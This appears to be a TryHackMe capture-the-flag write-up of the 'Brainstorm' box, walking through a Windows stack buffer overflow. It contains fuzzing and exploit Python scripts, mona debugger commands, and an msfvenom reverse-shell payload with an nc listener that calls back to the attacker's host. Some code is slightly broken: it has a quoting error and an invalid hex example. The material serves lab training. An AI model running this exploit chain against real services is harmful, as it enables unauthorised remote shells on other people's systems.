Try Hack Me - Brainstorm
About this box: This box is a brain teaser, starting off the box with a simple nmap leads you down the road to reading assembly/writing bytes to buffers.
Intro
Beginning this box, our first challenge is to scan the network. I happened to use nmap -sV -Pn -sC -oN nmap ip
in order to do a thorough scan. This tells us 1 that there are 3 ports open (answer to first question). And two, that we have two important services: ftp on port 21, and a wierd serice named abyss on port 9999.
Due to this being a buffer overflow lab, my first intuition it to check the ftp server to see if anything resides. Logging in as anonymous(as the nmap scan tells us we can) we find/download a file named brainstorm.exe
.
Opening this app in ghidra so we can see what is going on, we see the function Overflow
.
Home set up
In order to not have to start and wait 1 min every time you would like to retry the payload you can follow these steps:
- download brainstorm.exe from the ftp server
ftp ip
- user
anonymous
- pass
anonymous
- cd into brainstorm.exe directory
mget brainstorm.exe
- put the exe onto a windows vm/machine
- ensure this machine and your host can talk
- boot up immunity debugger
- run away (import with file -> selecting brainpan.exe)
- click play button to start then the « to stop/restart
- connect with
nc windows machine ip 9999
- find the machine ip with
ipconfig
- on windows -
ip a
linux
- find the machine ip with
NOTE: If you are on a windows machine, you can run everything from the cmd connecting with ncat localhost 9999
Finding the bad function
Now, what makes this a bad function?
In C there are multiple functions that allow leaks of memory, or for the memory to be overwritten. In our case the function strcpy
is what makes this particular function vulnerable to a buffer overflow.
Knowing now which area is creating the overflow we also see that the memory alottment for this buffer is 2008
, seen in the var local_7dc
. This tells us that the amount of characters that will crash the buffer will be around 2008
.
Fuzzing
The fuzz script I will be using:
import socket, time, sys
ip = "192.168.3.129"
port = 9999
timeout = 5
prefix = ""
string = prefix + "A" * 2000
def send_name(s):
sent=False
name=""
if not sent:
print("sent name {}".format(name))
sent=True
s.send(bytes(name + "\r\n", "latin-1"))
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
s.send(bytes("" + "\r\n", "latin-1"))
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string + "\r\n", "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
Why fuzz?
We are sending bytes to the server in order to make it crash to see where we can start our payload.
This all works by escaping the buffer for a variable and pushing the data we want to an area we can write/execute.
Fuzzing
In order to fuzz we’ll run python3 fuzz.py
this will return a output of bytes as shown below:
In our case runing the fuzz.py we get the crash output of 2100
.
NOTE: By modifying the string variable and changing what “A” is multiplied we can change our starting fuzz value. And, changing the value at the bottom “A” * 100 to “A” * 1 we can make it increment by 1 instead of 100 giving us a closer value to the crash. (Due to the buffer being 2008, this app crashes consistantly at 2007 )
Now that we have the value that crashes the app, we can add 400 to the number and generate a payload with something like:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500 | xclip -sel c
This payload will auto copy it to your clipboard, time to put it into the payload of our exploit. Wait.. I haven’t given you the exploit yet. Here you go
Finding the offset
import socket
import time
ip = "192.168.3.129"
port = 9999
prefix = ""
offset = 0
overflow = "A" * offset
retn = "BBBB"
# retn = "\xDF\x14\x50\x62"
# padding = "\x90" * 16
padding = ""
name = ""
payload = ""
# payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending exploit")
send_name(s)
time.sleep(1)
s.send(bytes("" + \r\n", "latin-1"))
s.send(bytes("%s\r\n" %buffer, "latin-1"))
print("Done!")
except:
print("Could not connect.")
This alright enter in the payload under the var that has the empty string and run the exploit with python exploit.py
. (ensure the chatserver is on)
Moving over to Immunity Debugger(ID) we can see that the app crashed. We can now use the mona command in the bottom console with !mona findmsp -distance 2500
.
This outputs:
The offset is important because we need this to push the payload into the correct portion of the app.
Now, update the offset of your payload to 2012
.
Finding Bad Characters
Since we can push our payload to the correct position, it’s time to find the bad characters in this app. (This is important due to apps corroding characters/not support them. We need to make sure our payload doesn’t contain any).
Within the payload I gave you I already included a line with all of the ascii charaters that are possible so go uncomment it. (It’s the big string that is after the var payload).
Restart the app in ID and run python exploit.py
Go over to ID and run the command !mona bytearray -b "\x00"
. This will create the same characters that we have in exploit.py so we can compare them, this lets us know what gets corrupted in transit.
Now compare them !mona compare -f bytearray.bin -a <ESP Address>
For this specific app we are told that “\x00\x80\x81\x82” are bad characters.
Jmp anyone?
Now we need the jmp address, this makes sure that the app stays running when the exploit is sent.
To find this we can use !mona jmp -r esp -b "\x00\x80\x81\x82"
Now select any of the addresses in the log output and write it BACKWARDS like so:
T45G67 = \x67\x5g\xT4
And set this in the return value instead of BBBB
Payload time
Now that we know this we can make a payload with msfvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.3.128 LPORT=4444 EXITFUNC=thread -b "\x00\x80\x81\x82" -f c
-b
is the flag to black-list bytes
-f
allows us to specify the language
Put the output of this payload in something like this
payload = (payload)
- the () are important
Spin up a nc -lvnp 4444
and restart the app and run the exploit.
If everything went smoothly, you should have a shell in the box as the root user…
Cat the root and user txt file and you’re done!
Congrats!!! Another box pwned
What I learned
- character type is important (utf-8, latin-1, etc)
- nc can listen to services like servers and such
- eg: this case connecting to port 9999
- registers make more sense
- ftp binary mode is important when downloading some files (could make 32 bit into 16 if not careful)
- I love ghidra reverse engineering and immunity debugger for buffer overflows (with mona)
– Ryu out